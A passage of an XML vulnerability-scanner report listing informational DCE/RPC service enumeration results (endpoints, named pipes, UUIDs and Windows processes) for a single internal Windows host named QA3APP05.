6514 Description : Unknown RPC service
6515 Type : Remote RPC service
6516 TCP Port : 49152
6517 IP : 10.31.112.25
6518
6519 </plugin_output>
6520 </ReportItem>
6521 <ReportItem port="49153" svc_name="dce-rpc" protocol="tcp" severity="0" pluginID="10736" pluginName="DCE Services Enumeration" pluginFamily="Windows">
6522 <description>By sending a Lookup request to the portmapper (TCP 135 or epmapper PIPE) it was possible to enumerate the Distributed Computing Environment (DCE) services running on the remote port.
6523 Using this information it is possible to connect and bind to each service by sending an RPC request to the remote port/pipe.</description>
6524 <fname>dcetest.nasl</fname>
6525 <plugin_modification_date>2012/01/31</plugin_modification_date>
6526 <plugin_name>DCE Services Enumeration</plugin_name>
6527 <plugin_publication_date>2001/08/26</plugin_publication_date>
6528 <plugin_type>local</plugin_type>
6529 <risk_factor>None</risk_factor>
6530 <script_version>$Revision: 1.50 $</script_version>
6531 <solution>n/a</solution>
6532 <synopsis>A DCE/RPC service is running on the remote host.</synopsis>
6533 <plugin_output>
6534 The following DCERPC services are available on TCP port 49153 :
6535
6536 Object UUID : 00000000-0000-0000-0000-000000000000
6537 UUID : 3c4728c5-f0ab-448b-bda1-6ce01eb0a6d5, version 1.0
6538 Description : DHCP Client Service
6539 Windows process : svchost.exe
6540 Annotation : DHCP Client LRPC Endpoint
6541 Type : Remote RPC service
6542 TCP Port : 49153
6543 IP : 10.31.112.25
6544
6545 Object UUID : 00000000-0000-0000-0000-000000000000
6546 UUID : f6beaff7-1e19-4fbb-9f8f-b89e2018337c, version 1.0
6547 Description : Unknown RPC service
6548 Annotation : Event log TCPIP
6549 Type : Remote RPC service
6550 TCP Port : 49153
6551 IP : 10.31.112.25
6552
6553 Object UUID : 00000000-0000-0000-0000-000000000000
6554 UUID : 30adc50c-5cbc-46ce-9a0e-91914789e23c, version 1.0
6555 Description : Unknown RPC service
6556 Annotation : NRP server endpoint
6557 Type : Remote RPC service
6558 TCP Port : 49153
6559 IP : 10.31.112.25
6560
6561 Object UUID : 00000000-0000-0000-0000-000000000000
6562 UUID : 3c4728c5-f0ab-448b-bda1-6ce01eb0a6d6, version 1.0
6563 Description : Unknown RPC service
6564 Annotation : DHCPv6 Client LRPC Endpoint
6565 Type : Remote RPC service
6566 TCP Port : 49153
6567 IP : 10.31.112.25
6568
6569 </plugin_output>
6570 </ReportItem>
6571 <ReportItem port="49177" svc_name="dce-rpc" protocol="tcp" severity="0" pluginID="10736" pluginName="DCE Services Enumeration" pluginFamily="Windows">
6572 <description>By sending a Lookup request to the portmapper (TCP 135 or epmapper PIPE) it was possible to enumerate the Distributed Computing Environment (DCE) services running on the remote port.
6573 Using this information it is possible to connect and bind to each service by sending an RPC request to the remote port/pipe.</description>
6574 <fname>dcetest.nasl</fname>
6575 <plugin_modification_date>2012/01/31</plugin_modification_date>
6576 <plugin_name>DCE Services Enumeration</plugin_name>
6577 <plugin_publication_date>2001/08/26</plugin_publication_date>
6578 <plugin_type>local</plugin_type>
6579 <risk_factor>None</risk_factor>
6580 <script_version>$Revision: 1.50 $</script_version>
6581 <solution>n/a</solution>
6582 <synopsis>A DCE/RPC service is running on the remote host.</synopsis>
6583 <plugin_output>
6584 The following DCERPC services are available on TCP port 49177 :
6585
6586 Object UUID : 00000000-0000-0000-0000-000000000000
6587 UUID : 12345778-1234-abcd-ef00-0123456789ac, version 1.0
6588 Description : Security Account Manager
6589 Windows process : lsass.exe
6590 Type : Remote RPC service
6591 TCP Port : 49177
6592 IP : 10.31.112.25
6593
6594 </plugin_output>
6595 </ReportItem>
6596 <ReportItem port="49253" svc_name="dce-rpc" protocol="tcp" severity="0" pluginID="10736" pluginName="DCE Services Enumeration" pluginFamily="Windows">
6597 <description>By sending a Lookup request to the portmapper (TCP 135 or epmapper PIPE) it was possible to enumerate the Distributed Computing Environment (DCE) services running on the remote port.
6598 Using this information it is possible to connect and bind to each service by sending an RPC request to the remote port/pipe.</description>
6599 <fname>dcetest.nasl</fname>
6600 <plugin_modification_date>2012/01/31</plugin_modification_date>
6601 <plugin_name>DCE Services Enumeration</plugin_name>
6602 <plugin_publication_date>2001/08/26</plugin_publication_date>
6603 <plugin_type>local</plugin_type>
6604 <risk_factor>None</risk_factor>
6605 <script_version>$Revision: 1.50 $</script_version>
6606 <solution>n/a</solution>
6607 <synopsis>A DCE/RPC service is running on the remote host.</synopsis>
6608 <plugin_output>
6609 The following DCERPC services are available on TCP port 49253 :
6610
6611 Object UUID : 00000000-0000-0000-0000-000000000000
6612 UUID : 6b5bdd1e-528c-422c-af8c-a4079be4fe48, version 1.0
6613 Description : Unknown RPC service
6614 Annotation : Remote Fw APIs
6615 Type : Remote RPC service
6616 TCP Port : 49253
6617 IP : 10.31.112.25
6618
6619 Object UUID : 00000000-0000-0000-0000-000000000000
6620 UUID : 12345678-1234-abcd-ef00-0123456789ab, version 1.0
6621 Description : IPsec Services (Windows XP &amp; 2003)
6622 Windows process : lsass.exe
6623 Annotation : IPSec Policy agent endpoint
6624 Type : Remote RPC service
6625 TCP Port : 49253
6626 IP : 10.31.112.25
6627
6628 </plugin_output>
6629 </ReportItem>
6630 <ReportItem port="49154" svc_name="dce-rpc" protocol="tcp" severity="0" pluginID="10736" pluginName="DCE Services Enumeration" pluginFamily="Windows">
6631 <description>By sending a Lookup request to the portmapper (TCP 135 or epmapper PIPE) it was possible to enumerate the Distributed Computing Environment (DCE) services running on the remote port.
6632 Using this information it is possible to connect and bind to each service by sending an RPC request to the remote port/pipe.</description>
6633 <fname>dcetest.nasl</fname>
6634 <plugin_modification_date>2012/01/31</plugin_modification_date>
6635 <plugin_name>DCE Services Enumeration</plugin_name>
6636 <plugin_publication_date>2001/08/26</plugin_publication_date>
6637 <plugin_type>local</plugin_type>
6638 <risk_factor>None</risk_factor>
6639 <script_version>$Revision: 1.50 $</script_version>
6640 <solution>n/a</solution>
6641 <synopsis>A DCE/RPC service is running on the remote host.</synopsis>
6642 <plugin_output>
6643 The following DCERPC services are available on TCP port 49154 :
6644
6645 Object UUID : 00000000-0000-0000-0000-000000000000
6646 UUID : 86d35949-83c9-4044-b424-db363231fd0c, version 1.0
6647 Description : Unknown RPC service
6648 Type : Remote RPC service
6649 TCP Port : 49154
6650 IP : 10.31.112.25
6651
6652 Object UUID : 00000000-0000-0000-0000-000000000000
6653 UUID : a398e520-d59a-4bdd-aa7a-3c1e0303a511, version 1.0
6654 Description : Unknown RPC service
6655 Annotation : IKE/Authip API
6656 Type : Remote RPC service
6657 TCP Port : 49154
6658 IP : 10.31.112.25
6659
6660 Object UUID : 00000000-0000-0000-0000-000000000000
6661 UUID : 552d076a-cb29-4e44-8b6a-d15e59e2c0af, version 1.0
6662 Description : Unknown RPC service
6663 Annotation : IP Transition Configuration endpoint
6664 Type : Remote RPC service
6665 TCP Port : 49154
6666 IP : 10.31.112.25
6667
6668 Object UUID : 00000000-0000-0000-0000-000000000000
6669 UUID : 98716d03-89ac-44c7-bb8c-285824e51c4a, version 1.0
6670 Description : Unknown RPC service
6671 Annotation : XactSrv service
6672 Type : Remote RPC service
6673 TCP Port : 49154
6674 IP : 10.31.112.25
6675
6676 Object UUID : 73736573-6f69-656e-6e76-000000000000
6677 UUID : c9ac6db5-82b7-4e55-ae8a-e464ed7b4277, version 1.0
6678 Description : Unknown RPC service
6679 Annotation : Impl friendly name
6680 Type : Remote RPC service
6681 TCP Port : 49154
6682 IP : 10.31.112.25
6683
6684 Object UUID : 00000000-0000-0000-0000-000000000000
6685 UUID : 30b044a5-a225-43f0-b3a4-e060df91f9c1, version 1.0
6686 Description : Unknown RPC service
6687 Type : Remote RPC service
6688 TCP Port : 49154
6689 IP : 10.31.112.25
6690
6691 </plugin_output>
6692 </ReportItem>
6693 <ReportItem port="49252" svc_name="dce-rpc" protocol="tcp" severity="0" pluginID="10736" pluginName="DCE Services Enumeration" pluginFamily="Windows">
6694 <description>By sending a Lookup request to the portmapper (TCP 135 or epmapper PIPE) it was possible to enumerate the Distributed Computing Environment (DCE) services running on the remote port.
6695 Using this information it is possible to connect and bind to each service by sending an RPC request to the remote port/pipe.</description>
6696 <fname>dcetest.nasl</fname>
6697 <plugin_modification_date>2012/01/31</plugin_modification_date>
6698 <plugin_name>DCE Services Enumeration</plugin_name>
6699 <plugin_publication_date>2001/08/26</plugin_publication_date>
6700 <plugin_type>local</plugin_type>
6701 <risk_factor>None</risk_factor>
6702 <script_version>$Revision: 1.50 $</script_version>
6703 <solution>n/a</solution>
6704 <synopsis>A DCE/RPC service is running on the remote host.</synopsis>
6705 <plugin_output>
6706 The following DCERPC services are available on TCP port 49252 :
6707
6708 Object UUID : 00000000-0000-0000-0000-000000000000
6709 UUID : 367abb81-9844-35f1-ad32-98f038001003, version 2.0
6710 Description : Unknown RPC service
6711 Type : Remote RPC service
6712 TCP Port : 49252
6713 IP : 10.31.112.25
6714
6715 </plugin_output>
6716 </ReportItem>
6717 <ReportItem port="445" svc_name="cifs" protocol="tcp" severity="0" pluginID="10736" pluginName="DCE Services Enumeration" pluginFamily="Windows">
6718 <description>By sending a Lookup request to the portmapper (TCP 135 or epmapper PIPE) it was possible to enumerate the Distributed Computing Environment (DCE) services running on the remote port.
6719 Using this information it is possible to connect and bind to each service by sending an RPC request to the remote port/pipe.</description>
6720 <fname>dcetest.nasl</fname>
6721 <plugin_modification_date>2012/01/31</plugin_modification_date>
6722 <plugin_name>DCE Services Enumeration</plugin_name>
6723 <plugin_publication_date>2001/08/26</plugin_publication_date>
6724 <plugin_type>local</plugin_type>
6725 <risk_factor>None</risk_factor>
6726 <script_version>$Revision: 1.50 $</script_version>
6727 <solution>n/a</solution>
6728 <synopsis>A DCE/RPC service is running on the remote host.</synopsis>
6729 <plugin_output>
6730 The following DCERPC services are available remotely :
6731
6732 Object UUID : b08669ee-8cb5-43a5-a017-84fe00000000
6733 UUID : 76f226c3-ec14-4325-8a99-6a46348418af, version 1.0
6734 Description : Unknown RPC service
6735 Type : Remote RPC service
6736 Named pipe : \PIPE\InitShutdown
6737 Netbios name : \\QA3APP05
6738
6739 Object UUID : 765294ba-60bc-48b8-92e9-89fd77769d91
6740 UUID : d95afe70-a6d5-4259-822e-2c84da1ddb0d, version 1.0
6741 Description : Unknown RPC service
6742 Type : Remote RPC service
6743 Named pipe : \PIPE\InitShutdown
6744 Netbios name : \\QA3APP05
6745
6746 Object UUID : 00000000-0000-0000-0000-000000000000
6747 UUID : 12345778-1234-abcd-ef00-0123456789ac, version 1.0
6748 Description : Security Account Manager
6749 Windows process : lsass.exe
6750 Type : Remote RPC service
6751 Named pipe : \pipe\lsass
6752 Netbios name : \\QA3APP05
6753
6754 Object UUID : 00000000-0000-0000-0000-000000000000
6755 UUID : 12345778-1234-abcd-ef00-0123456789ac, version 1.0
6756 Description : Security Account Manager
6757 Windows process : lsass.exe
6758 Type : Remote RPC service
6759 Named pipe : \PIPE\protected_storage
6760 Netbios name : \\QA3APP05
6761
6762 Object UUID : 00000000-0000-0000-0000-000000000000
6763 UUID : 3473dd4d-2e88-4006-9cba-22570909dd10, version 5.0
6764 Description : Unknown RPC service
6765 Annotation : WinHttp Auto-Proxy Service
6766 Type : Remote RPC service
6767 Named pipe : \PIPE\W32TIME_ALT
6768 Netbios name : \\QA3APP05
6769
6770 Object UUID : 00000000-0000-0000-0000-000000000000
6771 UUID : 1ff70682-0a51-30e8-076d-740be8cee98b, version 1.0
6772 Description : Scheduler Service
6773 Windows process : svchost.exe
6774 Type : Remote RPC service
6775 Named pipe : \PIPE\atsvc
6776 Netbios name : \\QA3APP05
6777
6778 Object UUID : 00000000-0000-0000-0000-000000000000
6779 UUID : 378e52b0-c0a9-11cf-822d-00aa0051e40f, version 1.0
6780 Description : Scheduler Service
6781 Windows process : svchost.exe
6782 Type : Remote RPC service
6783 Named pipe : \PIPE\atsvc
6784 Netbios name : \\QA3APP05
6785
6786 Object UUID : 00000000-0000-0000-0000-000000000000
6787 UUID : 86d35949-83c9-4044-b424-db363231fd0c, version 1.0
6788 Description : Unknown RPC service
6789 Type : Remote RPC service
6790 Named pipe : \PIPE\atsvc
6791 Netbios name : \\QA3APP05
6792
6793 Object UUID : 00000000-0000-0000-0000-000000000000
6794 UUID : a398e520-d59a-4bdd-aa7a-3c1e0303a511, version 1.0
6795 Description : Unknown RPC service
6796 Annotation : IKE/Authip API
6797 Type : Remote RPC service
6798 Named pipe : \PIPE\atsvc
6799 Netbios name : \\QA3APP05
6800
6801 Object UUID : 00000000-0000-0000-0000-000000000000
6802 UUID : 552d076a-cb29-4e44-8b6a-d15e59e2c0af, version 1.0
6803 Description : Unknown RPC service
6804 Annotation : IP Transition Configuration endpoint
6805 Type : Remote RPC service
6806 Named pipe : \PIPE\atsvc
6807 Netbios name : \\QA3APP05
6808
6809 Object UUID : 00000000-0000-0000-0000-000000000000
6810 UUID : 98716d03-89ac-44c7-bb8c-285824e51c4a, version 1.0
6811 Description : Unknown RPC service
6812 Annotation : XactSrv service
6813 Type : Remote RPC service
6814 Named pipe : \PIPE\atsvc
6815 Netbios name : \\QA3APP05
6816
6817 Object UUID : 73736573-6f69-656e-6e76-000000000000
6818 UUID : c9ac6db5-82b7-4e55-ae8a-e464ed7b4277, version 1.0
6819 Description : Unknown RPC service
6820 Annotation : Impl friendly name
6821 Type : Remote RPC service
6822 Named pipe : \PIPE\atsvc
6823 Netbios name : \\QA3APP05
6824
6825 Object UUID : 73736573-6f69-656e-6e76-000000000000
6826 UUID : c9ac6db5-82b7-4e55-ae8a-e464ed7b4277, version 1.0
6827 Description : Unknown RPC service
6828 Annotation : Impl friendly name
6829 Type : Remote RPC service
6830 Named pipe : \PIPE\srvsvc
6831 Netbios name : \\QA3APP05
6832
6833 Object UUID : 00000000-0000-0000-0000-000000000000
6834 UUID : 30b044a5-a225-43f0-b3a4-e060df91f9c1, version 1.0
6835 Description : Unknown RPC service
6836 Type : Remote RPC service
6837 Named pipe : \PIPE\atsvc
6838 Netbios name : \\QA3APP05
6839
6840 Object UUID : 00000000-0000-0000-0000-000000000000
6841 UUID : 30b044a5-a225-43f0-b3a4-e060df91f9c1, version 1.0
6842 Description : Unknown RPC service
6843 Type : Remote RPC service
6844 Named pipe : \PIPE\srvsvc
6845 Netbios name : \\QA3APP05
6846
6847 Object UUID : 00000000-0000-0000-0000-000000000000
6848 UUID : f6beaff7-1e19-4fbb-9f8f-b89e2018337c, version 1.0
6849 Description : Unknown RPC service
6850 Annotation : Event log TCPIP
6851 Type : Remote RPC service
6852 Named pipe : \pipe\eventlog
6853 Netbios name : \\QA3APP05
6854
6855 Object UUID : 00000000-0000-0000-0000-000000000000
6856 UUID : 30adc50c-5cbc-46ce-9a0e-91914789e23c, version 1.0
6857 Description : Unknown RPC service
6858 Annotation : NRP server endpoint
6859 Type : Remote RPC service
6860 Named pipe : \pipe\eventlog
6861 Netbios name : \\QA3APP05
6862
6863 Object UUID : 00000000-0000-0000-0000-000000000000
6864 UUID : 3c4728c5-f0ab-448b-bda1-6ce01eb0a6d6, version 1.0
6865 Description : Unknown RPC service
6866 Annotation : DHCPv6 Client LRPC Endpoint
6867 Type : Remote RPC service
6868 Named pipe : \pipe\eventlog
6869 Netbios name : \\QA3APP05
6870
6871 Object UUID : 00000000-0000-0000-0000-000000000000
6872 UUID : 3c4728c5-f0ab-448b-bda1-6ce01eb0a6d5, version 1.0
6873 Description : DHCP Client Service
6874 Windows process : svchost.exe
6875 Annotation : DHCP Client LRPC Endpoint
6876 Type : Remote RPC service
6877 Named pipe : \pipe\eventlog
6878 Netbios name : \\QA3APP05
6879
6880 </plugin_output>
6881 </ReportItem>
6882 <ReportItem port="135" svc_name="epmap" protocol="tcp" severity="0" pluginID="10736" pluginName="DCE Services Enumeration" pluginFamily="Windows">
6883 <description>By sending a Lookup request to the portmapper (TCP 135 or epmapper PIPE) it was possible to enumerate the Distributed Computing Environment (DCE) services running on the remote port.
6884 Using this information it is possible to connect and bind to each service by sending an RPC request to the remote port/pipe.</description>
6885 <fname>dcetest.nasl</fname>
6886 <plugin_modification_date>2012/01/31</plugin_modification_date>
6887 <plugin_name>DCE Services Enumeration</plugin_name>
6888 <plugin_publication_date>2001/08/26</plugin_publication_date>
6889 <plugin_type>local</plugin_type>
6890 <risk_factor>None</risk_factor>
6891 <script_version>$Revision: 1.50 $</script_version>
6892 <solution>n/a</solution>
6893 <synopsis>A DCE/RPC service is running on the remote host.</synopsis>
6894 <plugin_output>
6895 The following DCERPC services are available locally :
6896
6897 Object UUID : b08669ee-8cb5-43a5-a017-84fe00000000
6898 UUID : 76f226c3-ec14-4325-8a99-6a46348418af, version 1.0
6899 Description : Unknown RPC service
6900 Type : Local RPC service
6901 Named pipe : WindowsShutdown
6902
6903 Object UUID : b08669ee-8cb5-43a5-a017-84fe00000000
6904 UUID : 76f226c3-ec14-4325-8a99-6a46348418af, version 1.0
6905 Description : Unknown RPC service
6906 Type : Local RPC service
6907 Named pipe : WMsgKRpc07E590
6908
6909 Object UUID : 765294ba-60bc-48b8-92e9-89fd77769d91
6910 UUID : d95afe70-a6d5-4259-822e-2c84da1ddb0d, version 1.0
6911 Description : Unknown RPC service
6912 Type : Local RPC service
6913 Named pipe : WindowsShutdown
6914
6915 Object UUID : 765294ba-60bc-48b8-92e9-89fd77769d91
6916 UUID : d95afe70-a6d5-4259-822e-2c84da1ddb0d, version 1.0
6917 Description : Unknown RPC service
6918 Type : Local RPC service
6919 Named pipe : WMsgKRpc07E590
6920
6921 Object UUID : 00000000-0000-0000-0000-000000000000
6922 UUID : 3c4728c5-f0ab-448b-bda1-6ce01eb0a6d5, version 1.0
6923 Description : DHCP Client Service
6924 Windows process : svchost.exe
6925 Annotation : DHCP Client LRPC Endpoint
6926 Type : Local RPC service
6927 Named pipe : dhcpcsvc
6928
6929 Object UUID : 00000000-0000-0000-0000-000000000000
6930 UUID : 3c4728c5-f0ab-448b-bda1-6ce01eb0a6d5, version 1.0
6931 Description : DHCP Client Service
6932 Windows process : svchost.exe
6933 Annotation : DHCP Client LRPC Endpoint
6934 Type : Local RPC service
6935 Named pipe : dhcpcsvc6
6936
6937 Object UUID : 3bdb59a0-d736-4d44-9074-c1ee00000001
6938 UUID : 24019106-a203-4642-b88d-82dae9158929, version 1.0
6939 Description : Unknown RPC service
6940 Type : Local RPC service
6941 Named pipe : LRPC-d5210e0f8ffb777d67
6942
6943 Object UUID : b08669ee-8cb5-43a5-a017-84fe00000001
6944 UUID : 76f226c3-ec14-4325-8a99-6a46348418af, version 1.0
6945 Description : Unknown RPC service
6946 Type : Local RPC service
6947 Named pipe : WMsgKRpc039FD11
6948
6949 Object UUID : 6d726574-7273-0076-0000-000000000000
6950 UUID : c9ac6db5-82b7-4e55-ae8a-e464ed7b4277, version 1.0
6951 Description : Unknown RPC service
6952 Annotation : Impl friendly name
6953 Type : Local RPC service
6954 Named pipe : LRPC-43ca78e049117df8f6
6955
6956 Object UUID : da42840e-c2f7-48e3-9fd4-4de954d9f72b
6957 UUID : 906b0ce0-c70b-1067-b317-00dd010662da, version 1.0
6958 Description : Distributed Transaction Coordinator
6959 Windows process : msdtc.exe
6960 Type : Local RPC service
6961 Named pipe : LRPC-0846d5cf3aff833584
6962
6963 Object UUID : 14d80fb7-fead-4b0c-97e4-d397ae3f4936
6964 UUID : 906b0ce0-c70b-1067-b317-00dd010662da, version 1.0
6965 Description : Distributed Transaction Coordinator
6966 Windows process : msdtc.exe
6967 Type : Local RPC service
6968 Named pipe : LRPC-0846d5cf3aff833584
6969
6970 Object UUID : 88111ddb-6c28-4200-b94c-f837c4ec221b
6971 UUID : 906b0ce0-c70b-1067-b317-00dd010662da, version 1.0
6972 Description : Distributed Transaction Coordinator
6973 Windows process : msdtc.exe
6974 Type : Local RPC service
6975 Named pipe : LRPC-0846d5cf3aff833584
6976
6977 Object UUID : 7beda36f-0d2d-4cc1-a152-a8fbe46c8be3
6978 UUID : 906b0ce0-c70b-1067-b317-00dd010662da, version 1.0
6979 Description : Distributed Transaction Coordinator
6980 Windows process : msdtc.exe
6981 Type : Local RPC service
6982 Named pipe : LRPC-0846d5cf3aff833584
6983
6984 Object UUID : 9bb2cebb-bff4-4acd-b3c7-e704575409e4
6985 UUID : 906b0ce0-c70b-1067-b317-00dd010662da, version 1.0
6986 Description : Distributed Transaction Coordinator
6987 Windows process : msdtc.exe
6988 Type : Local RPC service
6989 Named pipe : OLEDB87537A595D41E2BD88E959322B
6990
6991 Object UUID : 9bb2cebb-bff4-4acd-b3c7-e704575409e4
6992 UUID : 906b0ce0-c70b-1067-b317-00dd010662da, version 1.0
6993 Description : Distributed Transaction Coordinator
6994 Windows process : msdtc.exe
6995 Type : Local RPC service
6996 Named pipe : LRPC-cf7ed06c947e27e770
6997
6998 Object UUID : 00000000-0000-0000-0000-000000000000
6999 UUID : 12345678-1234-abcd-ef00-0123456789ab, version 1.0
7000 Description : IPsec Services (Windows XP &amp; 2003)
7001 Windows process : lsass.exe
7002 Annotation : IPSec Policy agent endpoint
7003 Type : Local RPC service
7004 Named pipe : LRPC-063604fc87b9857973
7005
7006 Object UUID : 00000000-0000-0000-0000-000000000000
7007 UUID : 12345778-1234-abcd-ef00-0123456789ac, version 1.0
7008 Description : Security Account Manager
7009 Windows process : lsass.exe
7010 Type : Local RPC service
7011 Named pipe : LRPC-2ec552cc1cc2bb434b
7012
7013 Object UUID : 00000000-0000-0000-0000-000000000000
7014 UUID : 12345778-1234-abcd-ef00-0123456789ac, version 1.0
7015 Description : Security Account Manager
7016 Windows process : lsass.exe
7017 Type : Local RPC service
7018 Named pipe : audit
7019
7020 Object UUID : 00000000-0000-0000-0000-000000000000
7021 UUID : 12345778-1234-abcd-ef00-0123456789ac, version 1.0
7022 Description : Security Account Manager
7023 Windows process : lsass.exe
7024 Type : Local RPC service
7025 Named pipe : securityevent
7026
7027 Object UUID : 00000000-0000-0000-0000-000000000000
7028 UUID : 12345778-1234-abcd-ef00-0123456789ac, version 1.0
7029 Description : Security Account Manager
7030 Windows process : lsass.exe
7031 Type : Local RPC service
7032 Named pipe : LSARPC_ENDPOINT
7033
7034 Object UUID : 00000000-0000-0000-0000-000000000000
7035 UUID : 12345778-1234-abcd-ef00-0123456789ac, version 1.0
7036 Description : Security Account Manager
7037 Windows process : lsass.exe
7038 Type : Local RPC service
7039 Named pipe : lsapolicylookup
7040
7041 Object UUID : 00000000-0000-0000-0000-000000000000
7042 UUID : 12345778-1234-abcd-ef00-0123456789ac, version 1.0
7043 Description : Security Account Manager
7044 Windows process : lsass.exe
7045 Type : Local RPC service
7046 Named pipe : lsasspirpc
7047
7048 Object UUID : 00000000-0000-0000-0000-000000000000
7049 UUID : 12345778-1234-abcd-ef00-0123456789ac, version 1.0
7050 Description : Security Account Manager
7051 Windows process : lsass.exe
7052 Type : Local RPC service
7053 Named pipe : protected_storage
7054
7055 Object UUID : 00000000-0000-0000-0000-000000000000
7056 UUID : 12345778-1234-abcd-ef00-0123456789ac, version 1.0
7057 Description : Security Account Manager
7058 Windows process : lsass.exe
7059 Type : Local RPC service
7060 Named pipe : dsrole
7061
7062 Object UUID : 00000000-0000-0000-0000-000000000000
7063 UUID : 12345778-1234-abcd-ef00-0123456789ac, version 1.0
7064 Description : Security Account Manager
7065 Windows process : lsass.exe
7066 Type : Local RPC service
7067 Named pipe : samss lpc
7068
7069 Object UUID : 00000000-0000-0000-0000-000000000000
7070 UUID : 0b6edbfa-4a24-4fc6-8a23-942b1eca65d1, version 1.0
7071 Description : Unknown RPC service
7072 Annotation : Spooler function endpoint
7073 Type : Local RPC service
7074 Named pipe : spoolss
7075
7076 Object UUID : 00000000-0000-0000-0000-000000000000
7077 UUID : ae33069b-a2a8-46ee-a235-ddfd339be281, version 1.0
7078 Description : Unknown RPC service
7079 Annotation : Spooler base remote object endpoint
7080 Type : Local RPC service
7081 Named pipe : spoolss
7082
7083 Object UUID : 00000000-0000-0000-0000-000000000000
7084 UUID : 4a452661-8290-4b36-8fbe-7f4093a94978, version 1.0
7085 Description : Unknown RPC service
7086 Annotation : Spooler function endpoint
7087 Type : Local RPC service
7088 Named pipe : spoolss
7089
7090 Object UUID : 00000000-0000-0000-0000-000000000000
7091 UUID : dd490425-5325-4565-b774-7e27d6c09c24, version 1.0
7092 Description : Unknown RPC service
7093 Annotation : Base Firewall Engine API
7094 Type : Local RPC service
7095 Named pipe : LRPC-f1e11ce8cb2220d0f7
7096
7097 Object UUID : 00000000-0000-0000-0000-000000000000
7098 UUID : 7f9d11bf-7fb9-436b-a812-b2d50c5d4c03, version 1.0
7099 Description : Unknown RPC service
7100 Annotation : Fw APIs
7101 Type : Local RPC service
7102 Named pipe : LRPC-f1e11ce8cb2220d0f7
7103
7104 Object UUID : 00000000-0000-0000-0000-000000000000
7105 UUID : 2fb92682-6599-42dc-ae13-bd2ca89bd11c, version 1.0
7106 Description : Unknown RPC service
7107 Annotation : Fw APIs
7108 Type : Local RPC service
7109 Named pipe : LRPC-f1e11ce8cb2220d0f7
7110
7111 Object UUID : 00000000-0000-0000-0000-000000000000
7112 UUID : 7ea70bcf-48af-4f6a-8968-6a440754d5fa, version 1.0
7113 Description : Unknown RPC service
7114 Annotation : NSI server endpoint
7115 Type : Local RPC service
7116 Named pipe : OLEB2A4B02EFF0846EC9A8DA5F5845B
7117
7118 Object UUID : 00000000-0000-0000-0000-000000000000
7119 UUID : 7ea70bcf-48af-4f6a-8968-6a440754d5fa, version 1.0
7120 Description : Unknown RPC service
7121 Annotation : NSI server endpoint
7122 Type : Local RPC service
7123 Named pipe : LRPC-f4c959c796bb4fc843
7124
7125 Object UUID : 00000000-0000-0000-0000-000000000000
7126 UUID : 3473dd4d-2e88-4006-9cba-22570909dd10, version 5.0
7127 Description : Unknown RPC service
7128 Annotation : WinHttp Auto-Proxy Service
7129 Type : Local RPC service
7130 Named pipe : OLEB2A4B02EFF0846EC9A8DA5F5845B
7131
7132 Object UUID : 00000000-0000-0000-0000-000000000000
7133 UUID : 3473dd4d-2e88-4006-9cba-22570909dd10, version 5.0
7134 Description : Unknown RPC service
7135 Annotation : WinHttp Auto-Proxy Service
7136 Type : Local RPC service
7137 Named pipe : LRPC-f4c959c796bb4fc843
7138
7139 Object UUID : 00000000-0000-0000-0000-000000000000
7140 UUID : 3473dd4d-2e88-4006-9cba-22570909dd10, version 5.0
7141 Description : Unknown RPC service
7142 Annotation : WinHttp Auto-Proxy Service
7143 Type : Local RPC service
7144 Named pipe : W32TIME_ALT
7145
7146 Object UUID : 666f7270-6c69-7365-0000-000000000000
7147 UUID : c9ac6db5-82b7-4e55-ae8a-e464ed7b4277, version 1.0
7148 Description : Unknown RPC service
7149 Annotation : Impl friendly name
7150 Type : Local RPC service
7151 Named pipe : IUserProfile2
7152
7153 Object UUID : 6c637067-6569-746e-0000-000000000000
7154 UUID : c9ac6db5-82b7-4e55-ae8a-e464ed7b4277, version 1.0
7155 Description : Unknown RPC service
7156 Annotation : Impl friendly name
7157 Type : Local RPC service
7158 Named pipe : IUserProfile2
7159
7160 Object UUID : 24d1f7c7-76af-4f28-9ccd-7f6cb6468601
7161 UUID : 2eb08e3e-639f-4fba-97b1-14f878961076, version 1.0
7162 Description : Unknown RPC service
7163 Type : Local RPC service
7164 Named pipe : IUserProfile2
7165
7166 Object UUID : 736e6573-0000-0000-0000-000000000000
7167 UUID : c9ac6db5-82b7-4e55-ae8a-e464ed7b4277, version 1.0
7168 Description : Unknown RPC service
7169 Annotation : Impl friendly name
7170 Type : Local RPC service
7171 Named pipe : IUserProfile2
7172
7173 Object UUID : 736e6573-0000-0000-0000-000000000000
7174 UUID : c9ac6db5-82b7-4e55-ae8a-e464ed7b4277, version 1.0
7175 Description : Unknown RPC service
7176 Annotation : Impl friendly name
7177 Type : Local RPC service
7178 Named pipe : OLE41F9F8DAB7334AC892C1F3BDC2BD
7179
7180 Object UUID : 736e6573-0000-0000-0000-000000000000
7181 UUID : c9ac6db5-82b7-4e55-ae8a-e464ed7b4277, version 1.0
7182 Description : Unknown RPC service
7183 Annotation : Impl friendly name
7184 Type : Local RPC service
7185 Named pipe : senssvc
7186
7187 Object UUID : 00000000-0000-0000-0000-000000000000
7188 UUID : 0a74ef1c-41a4-4e06-83ae-dc74fb1cdd53, version 1.0
7189 Description : Scheduler Service
7190 Windows process : svchost.exe
7191 Type : Local RPC service
7192 Named pipe : IUserProfile2
7193
7194 Object UUID : 00000000-0000-0000-0000-000000000000
7195 UUID : 0a74ef1c-41a4-4e06-83ae-dc74fb1cdd53, version 1.0
7196 Description : Scheduler Service
7197 Windows process : svchost.exe
7198 Type : Local RPC service
7199 Named pipe : OLE41F9F8DAB7334AC892C1F3BDC2BD
7200
7201 Object UUID : 00000000-0000-0000-0000-000000000000
7202 UUID : 0a74ef1c-41a4-4e06-83ae-dc74fb1cdd53, version 1.0
7203 Description : Scheduler Service
7204 Windows process : svchost.exe
7205 Type : Local RPC service
7206 Named pipe : senssvc
7207
7208 Object UUID : 00000000-0000-0000-0000-000000000000
7209 UUID : 1ff70682-0a51-30e8-076d-740be8cee98b, version 1.0
7210 Description : Scheduler Service
7211 Windows process : svchost.exe
7212 Type : Local RPC service
7213 Named pipe : IUserProfile2
7214
7215 Object UUID : 00000000-0000-0000-0000-000000000000
7216 UUID : 1ff70682-0a51-30e8-076d-740be8cee98b, version 1.0
7217 Description : Scheduler Service
7218 Windows process : svchost.exe
7219 Type : Local RPC service
7220 Named pipe : OLE41F9F8DAB7334AC892C1F3BDC2BD
7221
7222 Object UUID : 00000000-0000-0000-0000-000000000000
7223 UUID : 1ff70682-0a51-30e8-076d-740be8cee98b, version 1.0
7224 Description : Scheduler Service
7225 Windows process : svchost.exe
7226 Type : Local RPC service
7227 Named pipe : senssvc
7228
